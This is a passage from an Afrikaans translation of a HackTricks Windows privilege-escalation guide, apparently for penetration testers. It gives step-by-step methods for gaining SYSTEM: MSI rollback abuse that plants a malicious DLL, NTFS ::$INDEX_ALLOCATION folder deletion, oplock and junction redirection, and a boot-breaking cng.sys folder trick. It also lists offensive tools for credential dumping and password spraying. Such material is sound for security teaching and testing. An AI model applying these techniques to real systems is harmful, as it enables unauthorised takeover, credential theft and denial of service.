.msisluit ân custom uninstall action (SyncOnRbfWritten) in wat: -
Sein gee wanneer die
.rbfgeskryf is. -
Dan wag op ân ander gebeurtenis voordat dit voortgaan met die deĂŻnstallasie.
-
Stap 4: Blokkeer Verwydering van
.rbf -
Wanneer gesignaleer, open die
.rbflĂȘer sonderFILE_SHARE_DELETEâ dit verhoed dat dit uitgevee word. -
Dan seine terug sodat die deĂŻnstallasie kan klaarmaak.
-
Windows Installer slaag nie daarin om die
.rbfte verwyder nie, en omdat dit nie al die inhoud kan verwyder nie, wordC:\Config.Msinie verwyder nie. -
Stap 5: Verwyder
.rbfHandmatig -
Jy (aanvaller) verwyder die
.rbflĂȘer handmatig. -
Nou is
C:\Config.Msileeg, gereed om gekaap te word.
Op hierdie punt, trigger the SYSTEM-level arbitrary folder delete vulnerability om
C:\Config.Msite verwyder.
- Fase 2 â Vervang rollback-skripte met kwaadwillige eenhede
-
Stap 6: Hermaak
C:\Config.Msimet Swakke ACLs -
Hermaak die
C:\Config.Msivouer self. -
Stel swakke DACLs (bv. Everyone:F), en hou ân handle oop met
WRITE_DAC. -
Stap 7: Voer ân Ander Installasie uit
-
Installeer die
.msiweer, met: -
TARGETDIR: Skryfbare ligging. -
ERROROUT: ân veranderlike wat ân geforseerde mislukking veroorsaak. -
Hierdie installasie sal gebruik word om weer rollback te trigger, wat
.rbsen.rbflees. -
Stap 8: Monitor vir
.rbs -
Gebruik
ReadDirectoryChangesWomC:\Config.Msite monitor totdat ân nuwe.rbsverskyn. -
Vang sy lĂȘernaam vas.
-
Stap 9: Sinchroniseer Voor Rollback
-
Die
.msibevat ân custom install action (SyncBeforeRollback) wat: -
ân gebeurtenis signaleer wanneer die
.rbsgeskep is. -
Dan wag voordat dit voortgaan.
-
Stap 10: Herbly Swakke ACL
-
Nadat jy die
.rbs createdgebeurtenis ontvang het: -
Die Windows Installer herskryf sterk ACLs op
C:\Config.Msi. -
Maar aangesien jy nog ân handle met
WRITE_DAChet, kan jy weer swakke ACLs toepas.
ACLs word slegs afgedwing by handle-open, so jy kan steeds na die vouer skryf.
-
Stap 11: Plaas Vals
.rbsen.rbf -
Oorskryf die
.rbslĂȘer met ân vals rollback script wat Windows vertel om: -
Jou
.rbflĂȘer (kwaadwillige DLL) te herstel in ân geprivilegieerde ligging (bv.C:\Program Files\Common Files\microsoft shared\ink\HID.DLL). -
Jou vals
.rbfneer te sit wat ân kwaadwillige SYSTEM-level payload DLL bevat. -
Stap 12: Trigger die Rollback
-
Seine die sinchronisasie-gebeurtenis sodat die installer hervat.
-
ân type 19 custom action (
ErrorOut) is geconfigureer om die installasie op ân bekende punt doelbewus te laat misluk. -
Dit veroorsaak dat rollback begin.
-
Stap 13: SYSTEM Installeer Jou DLL
-
Windows Installer:
-
Lees jou kwaadwillige
.rbs. -
Kopieer jou
.rbfDLL na die teikenligging. -
Jy het nou jou kwaadwillige DLL in ân SYSTEM-loaded pad.
-
Finale Stap: Voer SYSTEM-kode uit
-
Voer ân betroubare auto-elevated binary uit (bv.
osk.exe) wat die DLL wat jy gekaap het laai. -
Boem: Jou kode word uitgevoer as SYSTEM.
Van Arbitrary File Delete/Move/Rename na SYSTEM EoP
Die hoof MSI rollback-tegniek (hierbo) neem aan jy kan ân heel vouer uitvee (bv. C:\Config.Msi). Maar wat as jou kwesbaarheid slegs arbitrary file deletion toelaat?
Jy kan NTFS-internals uitbuit: elke vouer het ân versteekte alternatiewe datastraam genaamd:
C:\SomeFolder::$INDEX_ALLOCATION
Hierdie stroom stoor die indeks metagegewens van die gids.
Dus, as jy die ::$INDEX_ALLOCATION stroom van ân gids verwyder, verwyder NTFS die hele gids van die lĂȘerstelsel.
Jy kan dit doen met behulp van standaard lĂȘerverwyderings-APIs soos:
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
Alhoewel jy ân lĂȘer verwyder-API aanroep, dit verwyder die vouer self.
From Folder Contents Delete to SYSTEM EoP
Wat as jou primitive jou nie toelaat om ewekansige lĂȘers/vouers te verwyder nie, maar dit laat wel die verwydering van die inhoud van ân deur die aanvaller beheerde vouer toe?
- Stap 1: Stel ân aas-vouer en lĂȘer op
- Skep:
C:\temp\folder1 - Daarin:
C:\temp\folder1\file1.txt
- Stap 2: Plaas ân oplock op
file1.txt
- Die oplock pauzeer uitvoering wanneer ân geprivilegieerde proses probeer om
file1.txtte verwyder.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
- Stap 3: Aktiveer die SYSTEM-proses (bv.,
SilentCleanup)
- Hierdie proses skandeer gidse (bv.,
%TEMP%) en probeer hul inhoud verwyder. - Wanneer dit by
file1.txtkom, aktiveer die oplock en gee beheer aan jou callback.
- Stap 4: Binne die oplock callback â herlei die verwydering
-
Opsie A: Move
file1.txteldersheen -
Dit maak
folder1leeg sonder om die oplock te breek. -
Moet nie
file1.txtdirek verwyder nie â dit sal die oplock voortydig vrylaat. -
Opsie B: Skakel
folder1om in ân junction:
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
- Opsie C: Skep ân symlink in
\RPC Control:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
Dit mik op die NTFS interne stroom wat vouermetadata stoor â deur dit te verwyder, verwyder jy die vouer.
- Stap 5: Vrylaat die oplock
- SYSTEM-proses gaan voort en probeer
file1.txtverwyder. - Maar nou, as gevolg van die junction + symlink, verwyder dit eintlik:
C:\Config.Msi::$INDEX_ALLOCATION
Resultaat: C:\Config.Msi word deur SYSTEM verwyder.
Van Arbitrary Folder Create na Permanent DoS
Benut ân primitive wat jou toelaat om create an arbitrary folder as SYSTEM/admin â selfs al kan jy nie lĂȘers skryf of swak permissies stel nie.
Skep ân gids (nie ân lĂȘer nie) met die naam van ân kritiese Windows drywer, bv.:
C:\Windows\System32\cng.sys
- Hierdie pad kom gewoonlik ooreen met die
cng.syskernel-mode driver. - As jy dit vooraf as ân mapâ skep, kan Windows die werklike driver tydens opstart nie laai nie.
- Dan probeer Windows om
cng.systydens opstart te laai. - Dit sien die map, kan die werklike driver nie lokaliseer nie, en laat die stelsel crash of staak die opstart.
- Daar is geen terugvalopsie, en geen herstel sonder eksterne ingryping (bv. opstartherstel of skyftoegang).
Van High Integrity na SYSTEM
Nuwe service
As jy reeds op ân High Integrity-proses loop, kan die pad na SYSTEM maklik wees net deur ân nuwe service te skep en uit te voer:
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
Tip
Wanneer jy ân service binary skep, maak seker dit is ân geldige service of dat die binary die nodige aksies vinnig uitvoer, aangesien dit binne 20s beĂ«indig sal word as dit nie ân geldige service is nie.
AlwaysInstallElevated
Vanaf ân High Integrity-proses kan jy probeer om die AlwaysInstallElevated registry entries te aktiveer en ân reverse shell te install met ân .msi wrapper.
Meer inligting oor die registersleutels wat betrokke is en hoe om ân .msi pakket hier te installeer.
High + SeImpersonate privilege to System
Jy kan vind die kode hier.
From SeDebug + SeImpersonate to Full Token privileges
As jy daardie token-privileges het (waarskynlik sal jy dit in ân reeds High Integrity-proses vind), sal jy byna enige proses (behalwe protected processes) met die SeDebug privilege kan oopmaak, die token van die proses kan kopieer, en ân arbitrĂȘre proses met daardie token kan skep.
Met hierdie tegniek word gewoonlik ân proses gekies wat as SYSTEM loop met al die token-privileges (ja, jy kan SYSTEM-prosesse vind sonder al die token-privileges).
Jy kan ân voorbeeld van kode wat die tegniek uitvoer hier vind.
Named Pipes
Hierdie tegniek word deur meterpreter gebruik om in getsystem op te skaal. Die tegniek bestaan uit die skep van ân pipe en dan ân service skep/misbruik om op daardie pipe te skryf. Daarna sal die server wat die pipe geskep het met die SeImpersonate privilege in staat wees om die token van die pipe client (die service) te impersonate en SYSTEM-privileges te verkry.
As jy meer wil leer oor named pipes, moet jy dit lees.
As jy ân voorbeeld wil lees van hoe om van high integrity na System met named pipes te gaan, lees dit.
Dll Hijacking
As jy daarin slaag om ân dll wat deur ân proses wat as SYSTEM loop te hijack en wat gelaai word, sal jy arbitrĂȘre kode met daardie regte kan uitvoer. Daarom is Dll Hijacking ook nuttig vir hierdie tipe privilege escalation, en verder is dit baie makkelijker om te bereik vanaf ân high integrity process aangesien dit write permissions op die gidse het wat gebruik word om dlls te laai.
Jy kan leer meer oor Dll hijacking hier.
From Administrator or Network Service to System
- https://github.com/sailay1996/RpcSsImpersonator
- https://decoder.cloud/2020/05/04/from-network-service-to-system/
- https://github.com/decoder-it/NetworkServiceExploit
Vanaf LOCAL SERVICE of NETWORK SERVICE na volle regte
Lees: https://github.com/itm4n/FullPowers
Meer hulp
Nuttige gereedskap
Beste hulpmiddel om te soek na Windows local privilege escalation-vektore: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) â Kyk vir wankonfigurasies en sensitiewe lĂȘers (kyk hier). Gevind.
JAWS â Kyk vir moontlike wankonfigurasies en versamel inligting (kyk hier).
privesc â Kyk vir wankonfigurasies
SessionGopher â Dit onttrek PuTTY, WinSCP, SuperPuTTY, FileZilla, en RDP gestoorde sessie-inligting. Gebruik -Thorough lokaal.
Invoke-WCMDump â Onttrek credentials vanaf Credential Manager. Gevind.
DomainPasswordSpray â Spray versamelde wagwoorde oor die domein
Inveigh â Inveigh is ân PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer en man-in-the-middle tool.
WindowsEnum â Basiese privesc Windows-enumerasieSherlock ~~~~ â Soek na bekende privesc kwesbaarhede (DEPRECATED vir Watson)WINspect â Plaaslike kontroles (Vereis Admin regte)
Exe
Watson â Soek na bekende privesc kwesbaarhede (moet gekompileer word met VisualStudio) (precompiled)
SeatBelt â Som die gasheer op en soek vir wankonfigurasies (meer ân inligtingsversamelingshulpmiddel as privesc) (moet gekompileer word) (precompiled)
LaZagne â Onttrek credentials vanaf baie sagteware (precompiled exe op GitHub)
SharpUP â Poort van PowerUp na C#Beroot ~~~~ â Kyk vir wankonfigurasies (uitvoerbare lĂȘer precompiled op GitHub). Nie aanbeveel nie. Dit werk nie goed op Win10 nie.Windows-Privesc-Check â Kyk vir moontlike wankonfigurasies (exe uit python). Nie aanbeveel nie. Dit werk nie goed op Win10 nie.
Bat
winPEASbat â Instrument geskep gebaseer op hierdie pos (dit benodig nie accesschk om behoorlik te werk nie maar dit kan dit gebruik).
Local
Windows-Exploit-Suggester â Lees die uitvoer van systeminfo en beveel werkende exploits aan (lokale python)
Windows Exploit Suggester Next Generation â Lees die uitvoer van systeminfo en beveel werkende exploits aan (lokale python)
Meterpreter
multi/recon/local_exploit_suggestor
Jy moet die projek kompileer met die korrekte weergawe van .NET (sien dit). Om die geĂŻnstalleerde weergawe van .NET op die slagoffer-gasheer te sien kan jy doen:
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
Verwysings
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
-
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-
https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
-
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
HTB Reaper: Format-string leak + stack BOF â VirtualAlloc ROP (RCE) and kernel token theft
-
Check Point Research â Chasing the Silver Fox: Cat & Mouse in Kernel Shadows
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

